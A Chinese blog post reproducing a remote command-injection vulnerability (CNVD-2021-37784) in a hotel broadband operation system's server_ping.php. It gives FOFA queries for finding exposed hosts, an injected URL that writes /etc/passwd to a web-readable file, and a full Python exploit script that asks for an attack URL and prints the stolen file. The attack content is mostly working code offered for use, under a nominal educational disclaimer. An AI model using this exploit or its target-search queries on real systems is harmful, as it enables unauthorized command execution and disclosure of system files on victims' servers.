【漏洞复现】安美数字酒店宽带运营系统——server_ping.php——命令执行(CNVD-2021-37784)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者无关。


漏洞描述

安美数字酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞,漏洞文件中ip参数未过滤造成命令执行。

漏洞复现

1)fofa搜索:
app="酒店宽带运营系统"
body="酒店宽带运营"

在这里插入图片描述
选择对象
在这里插入图片描述

2)构造url:
/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1
在这里插入图片描述
3)访问pd.txt得到文件
在这里插入图片描述

测试工具

exp

import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 禁用 SSL 证书验证警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 定义 POC_1 函数,用于检测目标 URL 的漏洞
def POC_1(target_url):
    # 构造带有潜在漏洞的 URL,尝试执行 cat /etc/passwd 命令并写入到 pd.txt 文件
    vuln_url = target_url + "/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1"
    
    # 设置请求头信息
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    
    try:
        # 发送 GET 请求,尝试利用漏洞
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
        
        # 打印正在执行的操作
        print("\033[36m[o] 正在执行 cat /etc/passwd>../../pd.txt \033[0m")
        
        # 检查响应内容是否包含 "parent" 字符串,以及 HTTP 状态码是否为 200
        if "parent" in response.text and response.status_code == 200:
            # 如果成功,尝试从 pd.txt 文件中读取 /etc/passwd 的内容
            vuln_url = target_url + "/pd.txt"
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
            
            # 检查响应内容是否包含 "root:" 字符串
            if "root:" in response.text:
                print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
            else:
                print("\033[31m[x] 请求失败:{} \033[0m".format("未找到预期内容。"))
        else:
            print("\033[31m[x] 请求失败 \033[0m")
    except Exception as e:
        # 打印异常信息并退出程序
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)

# 主函数入口
if __name__ == '__main__':
    # 从用户获取攻击目标 URL
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    # 调用 POC_1 函数进行漏洞检测
    POC_1(target_url)

运行截图

在这里插入图片描述

  • 15
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值